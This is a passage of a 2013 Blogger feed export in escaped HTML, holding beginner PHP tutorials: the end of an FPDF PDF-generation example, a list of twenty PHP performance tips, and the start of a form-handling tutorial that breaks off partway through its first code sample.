&lt;div class=&quot;crayon-line&quot; id=&quot;crayon-51d0628c9dce6-5&quot;&gt;
&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;crayon-line crayon-striped-line&quot; id=&quot;crayon-51d0628c9dce6-6&quot;&gt;
&lt;span class=&quot;crayon-sy&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;crayon-i&quot;&gt;pdf&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;crayon-e&quot;&gt;AddPage&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;c6c9219d-2ec5-4b19-9c9f-ff0316466e2e&quot; id=&quot;f6b32f6e-58d6-4f6b-a97a-48e3c7ffbc99&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line&quot; id=&quot;crayon-51d0628c9dce6-7&quot;&gt;
&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;crayon-line crayon-striped-line&quot; id=&quot;crayon-51d0628c9dce6-8&quot;&gt;
&lt;span class=&quot;crayon-sy&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;crayon-i&quot;&gt;pdf&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;crayon-e&quot;&gt;SetFont&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;eeaa1236-79ec-44c9-8419-7b0cdd193f8c&quot; id=&quot;71af0b0f-e3fd-4fc1-9ae1-4e7122bcdd34&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-s&quot;&gt;&#39;Arial&#39;&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-s&quot;&gt;&#39;B&#39;&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;eeaa1236-79ec-44c9-8419-7b0cdd193f8c&quot; id=&quot;da19a313-6065-4202-a870-25ace2157d1a&quot;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line&quot; id=&quot;crayon-51d0628c9dce6-9&quot;&gt;
&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;crayon-line crayon-striped-line&quot; id=&quot;crayon-51d0628c9dce6-10&quot;&gt;
&lt;span class=&quot;crayon-sy&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;crayon-i&quot;&gt;pdf&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;crayon-e&quot;&gt;Cell&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;41b26b90-5f17-459f-89b5-e448e37daa75&quot; id=&quot;15ddbb8c-1587-4ef5-ab90-e7d3e79511a6&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-s&quot;&gt;&#39;PHP - The Good Parts!&#39;&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-s&quot;&gt;&#39;L&#39;&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line&quot; id=&quot;crayon-51d0628c9dce6-11&quot;&gt;
&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;crayon-line crayon-striped-line&quot; id=&quot;crayon-51d0628c9dce6-12&quot;&gt;
&lt;span class=&quot;crayon-sy&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;crayon-i&quot;&gt;pdf&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;crayon-e&quot;&gt;SetX&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;2bae5bcd-d934-4c92-8d2d-421557b3e031&quot; id=&quot;1d223a5c-606c-43ab-a42c-d998743db490&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;90&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line&quot; id=&quot;crayon-51d0628c9dce6-13&quot;&gt;
&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;crayon-line crayon-striped-line&quot; id=&quot;crayon-51d0628c9dce6-14&quot;&gt;
&lt;span class=&quot;crayon-sy&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;crayon-i&quot;&gt;pdf&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;crayon-e&quot;&gt;Cell&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;90&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-s&quot;&gt;&#39;Beware the Ides of March!&#39;&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-s&quot;&gt;&#39;C&#39;&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line&quot; id=&quot;crayon-51d0628c9dce6-15&quot;&gt;
&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;crayon-line crayon-striped-line&quot; id=&quot;crayon-51d0628c9dce6-16&quot;&gt;
&lt;span class=&quot;crayon-sy&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;crayon-i&quot;&gt;pdf&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;crayon-e&quot;&gt;Output&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;18dc7539-33ba-490c-90f6-21b8a8a3974e&quot; id=&quot;26ac18ed-6d75-4cbc-a860-ec151e20be42&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/td&gt;
     &lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
In the above code we’ve used cell method.&lt;br /&gt;

For the first text “PHP – The Good Parts!” we’ve given x=10 and y=10 
and 0,0,’L’ denotes column, row and text alignment respectively.&lt;br /&gt;

So the output will be&lt;br /&gt;

&lt;a href=&quot;http://voidtricks.com/wp-content/uploads/2013/05/php-pdf-cell.png&quot;&gt;&lt;img alt=&quot;php pdf&quot; class=&quot;alignnone size-medium wp-image-475&quot; height=&quot;56&quot; src=&quot;http://voidtricks.com/wp-content/uploads/2013/05/php-pdf-cell-300x56.png&quot; width=&quot;300&quot; /&gt;&lt;/a&gt;&lt;br /&gt;

&lt;h4&gt;
NOTE:&lt;/h4&gt;
You may want to disable your browser’s caching capabilities while you
 are developing and testing the layout of your FPDF PDFs because some 
browsers will not reload the page with changes if the changes are so 
small that they don’t register as such with the cache control.&lt;br /&gt;

&lt;h3&gt;
Attachments&lt;/h3&gt;
1) &lt;a href=&quot;http://www.fpdf.org/en/download.php&quot;&gt;FPDF.php&lt;/a&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://comhttp.blogspot.com/feeds/3077856674144414291/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://comhttp.blogspot.com/2013/06/pdf-generater-in-php-tutorial.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4277709300573377224/posts/default/3077856674144414291'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4277709300573377224/posts/default/3077856674144414291'/><link rel='alternate' type='text/html' href='http://comhttp.blogspot.com/2013/06/pdf-generater-in-php-tutorial.html' title='PDF generater in PHP tutorial'/><author><name>AzHaR</name><uri>http://www.blogger.com/profile/03405898531471075920</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='17' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEih40lSRTtzKH7GaWX63mZdTGNTfcpmTNeHTdfcc29rNAStswogMjPe0Xnhce2tbuvWCIjNYm7rv3LG-lZmlK4GrqJc9q6EkGqcQCqRhp6kM7MOJgMUMecLH5AbzL7ybw/s220/azhar.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4277709300573377224.post-5870996257822288522</id><published>2013-06-30T22:29:00.000+05:30</published><updated>2013-06-30T22:29:18.206+05:30</updated><category scheme="http://www.blogger.com/atom/ns#" term="PHP Tips"/><title type='text'>Top 20 PHP Tips and Tricks for beginners</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;a href=&quot;http://voidtricks.com/wp-content/uploads/2013/05/php-tips.jpg&quot;&gt;&lt;img alt=&quot;PHP tips&quot; class=&quot;alignnone size-medium wp-image-491&quot; height=&quot;191&quot; src=&quot;http://voidtricks.com/wp-content/uploads/2013/05/php-tips-300x191.jpg&quot; width=&quot;300&quot; /&gt;&lt;/a&gt;&lt;br /&gt;

&lt;h2&gt;
PHP tips to improve PHP skills&lt;/h2&gt;
Hi people, in this post &lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;2d32f103-dc2d-4fcf-9364-63ef2d5f094f&quot; id=&quot;9bcb2404-654a-48b8-8fcb-ea09c2a07bb9&quot;&gt;i&lt;/span&gt;’m &lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;2d32f103-dc2d-4fcf-9364-63ef2d5f094f&quot; id=&quot;2931a000-d08f-4f31-b4ff-4b2b8833831e&quot;&gt;gonna&lt;/span&gt; deliver you some interesting quick 
&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;65cca67c-fd99-4bc1-92f5-918c653c0754&quot; id=&quot;e6193935-ffed-4cf1-9a52-3bd48d864c1a&quot;&gt;tips&lt;/span&gt; to explore and improve PHP skills. Try to follow these tips when 
&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;fa6dfe00-2ede-4d8e-989d-3b42c8f7117f&quot; id=&quot;75b54aab-7d94-496d-b88b-456bc8b3ff73&quot;&gt;you&lt;/span&gt; code.&lt;br /&gt;

&lt;ol&gt;
&lt;li&gt;Use &lt;code&gt;&amp;lt;?&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;9f40e09d-9481-4615-aae9-396113ff18a1&quot; id=&quot;4b286a23-93af-4011-a8e6-9ea35fc85db6&quot;&gt;php&lt;/span&gt; ... ?&amp;gt;&lt;/code&gt; &lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;69edac08-c925-42f0-af8d-4536244d2cdd&quot; id=&quot;bb181b78-59ba-497e-9603-a8e8ad084c68&quot;&gt;tags&lt;/span&gt; for PHP. All other formats are depreciated including short tags.&lt;/li&gt;
&lt;li&gt;It is very useful to use &lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;f83b5893-6584-4595-999b-5b03b1df6fc7&quot; id=&quot;a5bae36c-643f-431a-825f-3b44f2e96cd9&quot;&gt;Unset&lt;/span&gt; or null your variables to free memory, especially for large arrays.&lt;/li&gt;
&lt;li&gt;It is better to wrap &lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;c558822a-d18c-4ed9-9948-24a189634c3b&quot; id=&quot;2272ac13-f986-42e7-959a-46b69ab9ffa5&quot;&gt;you&lt;/span&gt; strings in single quotes (”) instead of 
&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;c7d02b5c-e002-4bd3-afd1-d1e1d80af1f8&quot; id=&quot;0fb61002-b4ba-4b5e-842e-85951debfa26&quot;&gt;double&lt;/span&gt; quotes (“”). &lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;2b3fbf8e-2370-4eab-a352-e3fc00ef6953&quot; id=&quot;da718667-db5e-4c34-b72a-774ea631a071&quot;&gt;Beacuse&lt;/span&gt; PHP looks for variables into double 
&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;522f3324-2b52-41c1-9e1c-0d1b25746243&quot; id=&quot;66a9e09f-850c-4749-bb4f-75e91474d111&quot;&gt;quotes&lt;/span&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;522f3324-2b52-41c1-9e1c-0d1b25746243&quot; id=&quot;f0a324bd-9356-45bb-b2af-ccadfdaf8375&quot;&gt;.&lt;/span&gt;So unless you’re &lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;522f3324-2b52-41c1-9e1c-0d1b25746243&quot; id=&quot;1105f562-d6c7-444c-92b9-62f092e7b17d&quot;&gt;gonna&lt;/span&gt; use a variable inside, don’t use doubles 
&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;22b2ef75-77a8-47d7-b859-d3f047372920&quot; id=&quot;0539a6ec-2809-41e1-9e22-4508a4014de7&quot;&gt;quotes&lt;/span&gt; for variables.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://php.net/manual/en/function.echo.php&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;3b406008-d0b5-4307-b705-dcd5e191a30f&quot; id=&quot;98f63b6a-3e54-4294-a281-fb66a957256d&quot;&gt;echo&lt;/span&gt;&lt;/a&gt; is faster than print. So avoid using ‘print’ often.&lt;/li&gt;
&lt;li&gt;“&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;dd032803-df5d-4e65-8f7d-e70e638434f1&quot; id=&quot;36116b9d-b86b-419c-a0d3-4509692e0e42&quot;&gt;else&lt;/span&gt; if” statements are faster than select statements aka case/switch.&lt;/li&gt;
&lt;li&gt;Use &lt;a href=&quot;http://www.w3schools.com/php/func_string_sprintf.asp&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;73d4e22f-4f29-4a4e-943f-cb5f52c658ed&quot; id=&quot;d98bea9d-5928-4271-ab94-58045278fe10&quot;&gt;sprintf&lt;/span&gt;&lt;/a&gt; instead of using variables contained in double quotes, it is about 10x faster.&lt;/li&gt;
&lt;li&gt;Turn on mod_deflate in Apache v2 to reduce the use of bandwidth. For Apache v1 try mod_gzip.&lt;/li&gt;
&lt;li&gt;Avoid using string concatenation. &lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;c46b0f03-8f55-42d4-bbfc-c46dfc433b03&quot; id=&quot;7c5b1ebf-67dd-42bc-9720-9c8bf4836aaa&quot;&gt;Preferred method&lt;/span&gt; is &lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;c46b0f03-8f55-42d4-bbfc-c46dfc433b03&quot; id=&quot;b9aec940-aa0d-4298-a5f4-8d2aa6f14b60&quot;&gt;echo’s multiple parameters&lt;/span&gt; (or stacked).&lt;/li&gt;
&lt;li&gt;Avoid using pre-calculated functions in loops. &lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;36cf8108-3cd5-448d-ab25-6c197be4bc7a&quot; id=&quot;cb700c24-64f3-42ee-a4e1-b8896ea3a420&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;36cf8108-3cd5-448d-ab25-6c197be4bc7a&quot; id=&quot;9762c3cc-e534-44d5-9356-b8ec6caa612e&quot;&gt;eg&lt;/span&gt;. &lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;a40ccac6-d441-4384-a65a-ace81ced82f0&quot; id=&quot;cadd2349-8a8b-4bd4-b083-d8f09b124390&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;a40ccac6-d441-4384-a65a-ace81ced82f0&quot; id=&quot;a4f4be7e-1891-44df-a6f3-0ceb2a0cd180&quot;&gt;(&lt;/span&gt;$i=0; 
$i&amp;lt; count&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;7c4ac4f4-e18f-43c7-9707-7f90dff59e3e&quot; id=&quot;afa2e5c3-8775-4432-8603-77d7d1d4cdd9&quot;&gt;(&lt;/span&gt;$array)&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;7c4ac4f4-e18f-43c7-9707-7f90dff59e3e&quot; id=&quot;1ad3ca1e-aa02-4ee4-8d44-04389b2c41c3&quot;&gt;;&lt;/span&gt;$i++) This will call count function each time. So 
&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;86a883de-fc00-40e5-8ac1-afb76aa6d277&quot; id=&quot;20bbe89c-61c0-48ac-9fc3-5d8e60f999cb&quot;&gt;store&lt;/span&gt; it in a variable like this $count = count&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;86a883de-fc00-40e5-8ac1-afb76aa6d277&quot; id=&quot;53607cef-48d7-4e04-8df6-28488b9dd74f&quot;&gt;(&lt;/span&gt;$array); before the loop
 &lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;6441eba6-8dd1-4783-8987-92bd36dc3101&quot; id=&quot;af908c84-b7b3-4c16-88ce-b29aeb3c4e39&quot;&gt;starts&lt;/span&gt;.&lt;/li&gt;
&lt;li&gt;Avoid using &lt;a href=&quot;http://blog.marcomonteiro.net/post/33150811883/php-magic-methods&quot;&gt;magic methods&lt;/a&gt; like __isset&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;720757ba-2323-4a1b-b533-0ad0a92bb256&quot; id=&quot;87b4bccf-a682-4160-a910-31fea73652e6&quot;&gt;(&lt;/span&gt;), __unset&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;720757ba-2323-4a1b-b533-0ad0a92bb256&quot; id=&quot;a2ed2405-9e67-40f3-804d-7c31d544bf2f&quot;&gt;(&lt;/span&gt;), __sleep&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;720757ba-2323-4a1b-b533-0ad0a92bb256&quot; id=&quot;56e4cca7-504d-4611-ada5-e2570b39c7b4&quot;&gt;(&lt;/span&gt;).&lt;/li&gt;
&lt;li&gt;Avoid require_once() and use require() where possible.&lt;/li&gt;
&lt;li&gt;Better to Use full paths in &lt;a href=&quot;http://voidtricks.com/php-include-from-root/&quot;&gt;includes&lt;/a&gt; and requires.&lt;/li&gt;
&lt;li&gt;require() and include() are same in all the ways. One different is 
require will halt if the file is missing. Performance wise there is a 
very little difference between them.&lt;/li&gt;
&lt;li&gt;Since PHP5, the script execution start time can be found by $_SERVER[’REQUEST_TIME’], so avoid using time() or microtime().&lt;/li&gt;
&lt;li&gt;PCRE regex is quicker than EREG, but always look out if you can use 
quicker native functions such as strncasecmp, strpbrk and stripos 
instead.&lt;/li&gt;
&lt;li&gt;Try xml2array when parsing XML in PHP, which makes use of the PHP 
XML functions, for HTML you can try PHP’s DOM document or DOM XML in 
PHP4.&lt;/li&gt;
&lt;li&gt;Error suppression with ” @ ” is very slow.&lt;/li&gt;
&lt;li&gt;str_replace is faster than preg_replace. str_replace is best 
overall, however strtr is sometimes quicker with large strings. Using 
array() inside str_replace is usually quicker than multiple str_replace.&lt;/li&gt;
&lt;li&gt;$row[’id’] is 7x faster than $row[id], because if there is no quotes
 PHP has to guess which index you meant, assuming you didn’t mean a 
constant.&lt;/li&gt;
&lt;li&gt;It is always better to close your database connection after the use.&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://comhttp.blogspot.com/feeds/5870996257822288522/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://comhttp.blogspot.com/2013/06/top-20-php-tips-and-tricks-for-beginners.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4277709300573377224/posts/default/5870996257822288522'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4277709300573377224/posts/default/5870996257822288522'/><link rel='alternate' type='text/html' href='http://comhttp.blogspot.com/2013/06/top-20-php-tips-and-tricks-for-beginners.html' title='Top 20 PHP Tips and Tricks for beginners'/><author><name>AzHaR</name><uri>http://www.blogger.com/profile/03405898531471075920</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='17' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEih40lSRTtzKH7GaWX63mZdTGNTfcpmTNeHTdfcc29rNAStswogMjPe0Xnhce2tbuvWCIjNYm7rv3LG-lZmlK4GrqJc9q6EkGqcQCqRhp6kM7MOJgMUMecLH5AbzL7ybw/s220/azhar.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4277709300573377224.post-142230846707707628</id><published>2013-06-30T22:28:00.001+05:30</published><updated>2013-06-30T22:28:11.086+05:30</updated><category scheme="http://www.blogger.com/atom/ns#" term="PHP Tips"/><title type='text'>PHP form handling for beginners</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;a href=&quot;http://voidtricks.com/wp-content/uploads/2013/06/php-form-handling.jpg&quot;&gt;&lt;img alt=&quot;PHP form handling&quot; class=&quot;alignnone size-medium wp-image-665&quot; height=&quot;151&quot; src=&quot;http://voidtricks.com/wp-content/uploads/2013/06/php-form-handling-300x151.jpg&quot; width=&quot;300&quot; /&gt;&lt;/a&gt;&lt;br /&gt;

&lt;h2&gt;
PHP form handling Tutorial&lt;/h2&gt;
PHP form handling is the thing which irritates you if you’re a beginner.&lt;br /&gt;

The most important thing to notice when dealing with &lt;a href=&quot;http://voidtricks.com/programming-tutorials/html5/&quot; title=&quot;HTML / HTML5&quot;&gt;HTML&lt;/a&gt; forms and PHP is that any form element in an &lt;strong&gt;HTML&lt;/strong&gt; page will automatically be available to your &lt;a href=&quot;http://www.phpjunkyard.com/%E2%80%8E&quot; target=&quot;_blank&quot; title=&quot;php scripts download&quot;&gt;PHP scripts&lt;/a&gt;.&lt;br /&gt;

&lt;h5&gt;
Example&lt;/h5&gt;
The example below contains an &lt;strong&gt;HTML&lt;/strong&gt; form with two input fields and a submit button:&lt;br /&gt;



  &lt;div class=&quot;crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes&quot; data-settings=&quot; minimize scroll-mouseover&quot; id=&quot;crayon-51d0627ed0e44&quot; style=&quot;clear: both; float: none; font-size: 12px ! important; height: auto; line-height: 15px ! important; margin-bottom: 12px; margin-top: 12px;&quot;&gt;
  
   
   
   &lt;div class=&quot;crayon-plain-wrap&quot;&gt;
&lt;textarea class=&quot;crayon-plain print-no&quot; data-settings=&quot;dblclick&quot; readonly=&quot;readonly&quot; style=&quot;-moz-tab-size: 4; font-size: 12px ! important; line-height: 15px ! important; opacity: 0; overflow: hidden; z-index: 0;&quot; wrap=&quot;off&quot;&gt;&lt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;4b62fdc2-fa9f-41a5-860c-5cc0edc27d76&quot; id=&quot;28635d31-47cc-4d81-b98c-a7f2d6af6d69&quot;&gt;html&lt;/span&gt;&gt;
&lt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;48bb2565-4e37-4aa4-8750-b5942ffc95b0&quot; id=&quot;8c9f0e7f-60bf-42b3-8920-01cda041499c&quot;&gt;body&lt;/span&gt;&gt;
&lt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;2a66f25b-9bf9-4746-ba7f-c90ac4ab5582&quot; id=&quot;34138ca8-b3a1-4af3-a06d-d9625525d8d9&quot;&gt;form&lt;/span&gt; action=&quot;welcome.php&quot; method=&quot;post&quot;&gt;
Name: &lt;input type=&quot;text&quot; name=&quot;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;6240520d-1f00-469f-8ecc-1f848e82e9fb&quot; id=&quot;8524789a-7650-41cc-8a7c-05e44e7e4537&quot;&gt;fname&lt;/span&gt;&quot; /&gt;
Age: &lt;input type=&quot;text&quot; name=&quot;age&quot; /&gt;
&lt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;033294f5-c2dc-422d-ba24-0b327e14100a&quot; id=&quot;bec5a74e-01ec-404f-a5bd-d40bf8b79172&quot;&gt;input&lt;/span&gt; type=&quot;submit&quot; /&gt;
&lt;/&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;e59eadb6-34c6-49bc-9ebe-dea679f6db47&quot; id=&quot;989f0ac0-d346-48b5-9bfb-885583773e63&quot;&gt;form&lt;/span&gt;&gt;
&lt;/&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;7f6b7c77-ab28-4b08-9fd1-8a13bede8043&quot; id=&quot;198bf01f-f579-4f8c-81a1-7c5a0db8190c&quot;&gt;body&lt;/span&gt;&gt;
&lt;/&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;1f672170-d99b-4529-ad7b-45c67b8c4307&quot; id=&quot;409bfe9d-094f-470b-bba1-68d4ac4f5c53&quot;&gt;html&lt;/span&gt;&gt;&lt;/textarea&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-main&quot; style=&quot;overflow: hidden; position: relative; z-index: 1;&quot;&gt;
    &lt;table class=&quot;crayon-table&quot;&gt;
     &lt;tbody&gt;
&lt;tr class=&quot;crayon-row&quot;&gt;
    &lt;td class=&quot;crayon-nums &quot; data-settings=&quot;show&quot;&gt;
     &lt;div class=&quot;crayon-nums-content&quot; style=&quot;font-size: 12px !important; line-height: 15px !important;&quot;&gt;
&lt;div class=&quot;crayon-num&quot; data-line=&quot;crayon-51d0627ed0e44-1&quot;&gt;
1&lt;/div&gt;
&lt;div class=&quot;crayon-num crayon-striped-num&quot; data-line=&quot;crayon-51d0627ed0e44-2&quot;&gt;
2&lt;/div&gt;
&lt;div class=&quot;crayon-num&quot; data-line=&quot;crayon-51d0627ed0e44-3&quot;&gt;
3&lt;/div&gt;
